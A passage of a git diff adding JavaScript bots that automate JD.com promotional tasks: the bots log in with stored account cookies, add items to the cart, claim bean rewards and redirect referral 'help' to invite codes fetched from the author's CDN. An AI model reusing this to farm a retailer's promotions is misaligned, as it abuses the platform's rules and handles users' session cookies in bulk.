$.post(taskPostUrl('noahHaveFunLottery',body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.msg ==="success") { + message += `红包领取成功,获得${data.lotteryResult.hongBaoList[0].hongbaoSendInfo.disCount}${data.lotteryResult.hongBaoList[0].prizeName}` + + console.log(`红包领取成功,获得${data.lotteryResult.hongBaoList[0].hongbaoSendInfo.disCount}${data.lotteryResult.hongBaoList[0].prizeName}`) + } else { + message += `红包领取失败,${data.msg}` + console.log(`红包领取失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getTs() { + return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 +} + +function taskPostUrl(function_id, body = {}) { + const t = getTs() + return { + url: `${JD_API_HOST}/client.action`, + body: `functionId=${function_id}&appid=publicUseApi&body=${escape(JSON.stringify(body))}&_t=${t}&client=wh5&clientVersion=1.0.0`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://prodev.m.jd.com", + "Cookie": cookie, + 'dnt': '1', + 'pragma': 'no-cache', + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" + } + } +} + +function taskUrl(function_id, body = {}) { + const t = getTs() + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${t}&appid=activities_platform`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_digital_floor.js b/activity/jd_digital_floor.js new file mode 100644 index 0000000..fd65641 --- /dev/null +++ b/activity/jd_digital_floor.js @@ -0,0 +1,424 @@ +/* +数码加购京豆 +脚本会给内置的码进行助力 +共计25京豆,一天运行一次即可 +活动时间:2020-12-4 到 2020-12-11 +活动入口:https://prodev.m.jd.com/mall/active/nKxVyPnuLwAsQSTfidZ9z4RKVZy/index.html#/ +更新地址:jd_digital_floor.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#数码加购京豆 +10 7 * * * jd_digital_floor.js, tag=数码加购京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true + +================Loon============== +[Script] +cron "10 7 * * *" script-path=jd_digital_floor.js, tag=数码加购京豆 + +===============Surge================= +数码加购京豆 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=3600,script-path=jd_digital_floor.js + +============小火箭========= +数码加购京豆 = type=cron,script-path=jd_digital_floor.js, cronexpr="10 7 * * *", timeout=3600, enable=true + */ +const $ = new Env('数码加购京豆'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +const inviteCodes = [`40cd108f-9eed-4897-b795-45a5b221cd6b@49efb480-d6d7-456b-a4e0-14b170b161e0@`,'9d4262a5-1a02-4ae7-8a86-8d070d531464@687b14e0-ce0a-45eb-bf46-71aa0da05f18']; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://digital-floor.m.jd.com/adf/index/'; +!(async () => { + await requireConfig() + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await jdDigitalFloor() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdDigitalFloor() { + $.bean = 0 + await helpFriends() + await getUserInfo() + await getTaskList() + await showMsg() +} +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + let res = await doSupport(code); + await $.wait(500) + if (res===5) { + // 助力次数已用完 + break + } + } +} +function doSupport(shareId) { + return new Promise(resolve => { + $.post(taskPostUrl('doSupport',`shareId=${shareId}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`助力好友${shareId}成功`) + await supportCheck(shareId) + }else{ + console.log(`助力好友失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} +function supportCheck(shareId) { + return new Promise(resolve => { + $.post(taskPostUrl('supportCheck',`shareId=${shareId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`检查助力,助力好友${shareId}成功`) + }else{ + console.log(`检查助力失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl('shareInfo'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + $.shareId = data.data.shareId + console.log(`\n您的${$.name}好友助力邀请码:${data.data.shareId}\n`) + message += `\n您的${$.name}好友助力邀请码:${data.data.shareId}\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getTaskList() { + return new Promise(resolve => { + $.get(taskUrl('indexInfo'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + const tasks = data.data + for(let i = 0; i < tasks.length; ++i){ + const task = tasks[i] + console.log(`去加购物车:${task['skuName']}`) + await browseSku(task['skuId']) + } + message += `共获得${$.bean}个京豆\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getPrize(skuId) { + return new Promise(resolve => { + $.post(taskPostUrl('getPrize',`skuId=${skuId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + $.bean += data.data + console.log(`任务领奖成功,获得${data.data}个京豆`) + }else{ + console.log(`任务领奖失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function browseSku(skuId) { + return new Promise(resolve => { + $.post(taskPostUrl('browseSku',`skuId=${skuId}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`任务领取成功`) + await $.wait(5000) + await getPrize(skuId) + } else{ + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = null //await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(async resolve => { + await getAuthorShareCode() + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = [] //$.isNode() ? require('./jdSplitShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function getAuthorShareCode() { + return new Promise(resolve => { + $.get({url: "https://cdn.jsdelivr.net/gh/shylocks/updateTeam@main/jd_digital_floor"}, async (err, resp, data) => { + try { + if (err) { + } else { + inviteCodes[0] = data.replace('\n', '') + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskPostUrl(function_id, body) { + return { + url: `${JD_API_HOST}${function_id}?t=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + body: body, + headers: { + 'Host': 'digital-floor.m.jd.com', + 'pragma': 'no-cache', + 'cache-control': 'no-cache', + 'accept': 'application/json, text/plain, */*', + 'dnt': '1', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://pro.m.jd.com', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://pro.m.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', + 'Cookie': cookie, + 'user-agent': 'jdapp;iPhone;9.2.0;14.0;53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2;network/wifi;supportApplePay/3;hasUPPay/1;pushNoticeIsOpen/0;model/iPhone10,2;addressid/138413818;hasOCPay/0;appBuild/167408;supportBestPay/1;jdSupportDarkMode/0;pv/1710.16;apprpd/WorthBuy_List;ref/JDWebViewController;psq/2;ads/;psn/53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2|5870;jdv/0|kong|t_1000089893_|tuiguang|9a75f97593f344eb9c46b99e196608d2|1605846323;adk/;app_device/IOS;pap/JA2015_311210|9.2.0|IOS 14.0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1',} + } +} +function taskUrl(function_id) { + return { + url: `${JD_API_HOST}${function_id}?t=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + 'Host': 'digital-floor.m.jd.com', + 'pragma': 'no-cache', + 'cache-control': 'no-cache', + 'accept': 'application/json, text/plain, */*', + 'dnt': '1', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://pro.m.jd.com', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://pro.m.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', + 'Cookie': cookie, + 'user-agent': 'jdapp;iPhone;9.2.0;14.0;53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2;network/wifi;supportApplePay/3;hasUPPay/1;pushNoticeIsOpen/0;model/iPhone10,2;addressid/138413818;hasOCPay/0;appBuild/167408;supportBestPay/1;jdSupportDarkMode/0;pv/1710.16;apprpd/WorthBuy_List;ref/JDWebViewController;psq/2;ads/;psn/53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2|5870;jdv/0|kong|t_1000089893_|tuiguang|9a75f97593f344eb9c46b99e196608d2|1605846323;adk/;app_device/IOS;pap/JA2015_311210|9.2.0|IOS 14.0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1',} + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const 